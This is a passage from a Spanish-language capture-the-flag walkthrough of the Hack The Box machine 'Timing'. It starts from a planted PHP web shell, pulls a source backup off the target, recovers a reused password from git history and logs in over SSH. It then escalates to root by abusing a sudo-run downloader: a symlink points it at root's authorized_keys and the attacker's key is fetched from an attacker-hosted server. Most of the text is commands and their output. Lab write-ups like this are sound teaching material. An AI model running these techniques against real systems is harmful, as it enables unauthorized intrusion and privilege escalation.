$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=ls+-la+/home/aaron/.FUZZ' -e .txt -fs 0
profile [Status: 200, Size: 63, Words: 11, Lines: 2, Duration: 67ms]
local [Status: 200, Size: 149, Words: 29, Lines: 5, Duration: 108ms]
Entonces, tenemos que seguir enumerando manualmente. Al final, veremos que hay una copia de seguridad en /opt/
:
$ rce 'ls -la /opt'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 2021 ..
-rw-r--r-- 1 root root 627851 Jul 20 2021 source-files-backup.zip
Por tanto, vamos a descargarla y a analizarla:
$ rce 'cat /opt/source-files-backup.zip' > source-files-backup.zip
$ file source-files-backup.zip
source-files-backup.zip: Zip archive data, at least v1.0 to extract, compression method=store
Todo está correcto. Con unzip -l
podemos verificar que el contenido del archivo ZIP no es malicioso, y luego descomprimirlo. Tenemos estos directorios:
$ unzip -q source-files-backup.zip
$ ls -a backup
. auth_check.php footer.php index.php profile.php
.. avatar_uploader.php header.php js profile_update.php
.git css image.php login.php upload.php
admin_auth_check.php db_conn.php images logout.php
Existe el directorio .git
, por lo que tenemos que mirar las confirmaciones (commits) antiguas a ver si hay algo útil:
$ git log
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:34:13 2021 +0000
db_conn updated
commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:33:54 2021 +0000
init
Vamos a ver las diferencias entre estos dos commits:
$ git diff 16de e4e2
diff --git a/db_conn.php b/db_conn.php
index 5397ffa..f1c9217 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
<?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Genial, tenemos otra contraseña. Vamos a probar a acceder como aaron
por SSH:
$ ssh aaron@10.10.11.135
aaron@10.10.11.135's password:
aaron@timing:~$ cat user.txt
19651c57fd7a5d96ab331ed4a8d40602
¡Y ahí está! Por fin conseguimos acceder a la máquina.
Escalada de privilegios
Este usuario es capaz de ejecutar /usr/bin/netutils
como root
usando sudo
:
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
Se trata de un script en Bash que usa un archivo JAR:
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Aunque java
no se llama usando una ruta absolutam no es vulnerable a PATH
hijacking porque existe una opción secure_path
en la configuración de sudo
.
Tampoco tenemos acceso al archivo JAR:
aaron@timing:~$ ls -la /root/netutils.jar
ls: cannot access '/root/netutils.jar': Permission denied
Por tanto, tenemos que realizar un análisis dinámico y deducir lo que hace:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
Vamos a probar HTTP y escuchar con nc
:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.17.44
Initializing download: http://10.10.17.44
Connection gone.
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.135.
Ncat: Connection from 10.10.11.135:35202.
GET / HTTP/1.0
Host: 10.10.17.44
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
^C
Interesante, está usando axel
por detrás, que sirve para descargar archivos por línea de comandos. Para ver lo que hace, usaré otra sesión SSH y pondré un servidor web Python en local:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://127.0.0.1:8000/user.txt
Initializing download: http://127.0.0.1:8000/user.txt
File size: 33 bytes
Opening output file user.txt.0
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 33 byte in 0 seconds. (0.32 KB/s)
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 2
aaron@timing:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [] "GET /user.txt HTTP/1.0" 200 -
127.0.0.1 - - [] "GET /user.txt HTTP/1.0" 200 -
^C
Keyboard interrupt received, exiting.
aaron@timing:~$ ls -la
total 40
drwxr-x--x 5 aaron aaron 4096 Jun 1 22:43 .
drwxr-xr-x 3 root root 4096 Dec 2 09:55 ..
lrwxrwxrwx 1 root root 9 Oct 5 2021 .bash_history -> /dev/null
-rw-r--r-- 1 aaron aaron 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 .bashrc
drwx------ 2 aaron aaron 4096 Nov 29 2021 .cache
drwx------ 3 aaron aaron 4096 Nov 29 2021 .gnupg
drwxrwxr-x 3 aaron aaron 4096 Nov 29 2021 .local
-rw-r--r-- 1 aaron aaron 807 Apr 4 2018 .profile
-rw-r----- 1 root aaron 33 Jun 1 22:39 user.txt
-rw-r--r-- 1 root root 33 Jun 1 22:43 user.txt.0
lrwxrwxrwx 1 root root 9 Oct 5 2021 .viminfo -> /dev/null
aaron@timing:~$ cat user.txt.0
19651c57fd7a5d96ab331ed4a8d40602
aaron@timing:~$ rm user.txt.0
rm: remove write-protected regular file 'user.txt.0'? y
Se ve que el programa Java ha descargado user.txt
y lo ha guardado como user.txt.0
(como root
).
La idea aquí es que tenemos una manera de escribir archivos como root
. Sin embargo, si el archivo ya existe, entonces será guardado como el mismo nombre .0
. A primera vista, parece que no podemos usar un enlace simbólico que apunte a /root/.ssh/authorized_keys
porque el archivo existiría al mismo tiempo que se descarga la clave pública SSH. Pero como /root/.ssh/authorized_keys
no existe por defecto, el enlace simbólico se interpretará como que no existe, pudiendo escribir en el archivo.
Podemos crear el enlace simbólico con el siguiente comando:
aaron@timing:~$ ln -s /root/.ssh/authorized_keys ~/id_rsa.pub
Luego, arrancamos un servidor web con Python en la máquina de atacante y exponemos id_rsa.pub
(reutilizo la que generé antes):
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Finalmente, pedimos la clave pública con /usr/bin/netutils
:
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.17.44/id_rsa.pub
Initializing download: http://10.10.17.44/id_rsa.pub
File size: 575 bytes
Opening output file id_rsa.pub
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 575 byte in 0 seconds. (2.80 KB/s)
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.135 - - [] "GET /index.php HTTP/1.0" 200 -
::ffff:10.10.11.135 - - [] "GET /index.php HTTP/1.0" 200 -
^C
Keyboard interrupt received, exiting.
Y luego accedemos como root
proporcionando la clave privada:
$ ssh -i id_rsa root@10.10.11.135
root@timing:~# cat root.txt
1c40aa67ba2b39849421c84c0253cde4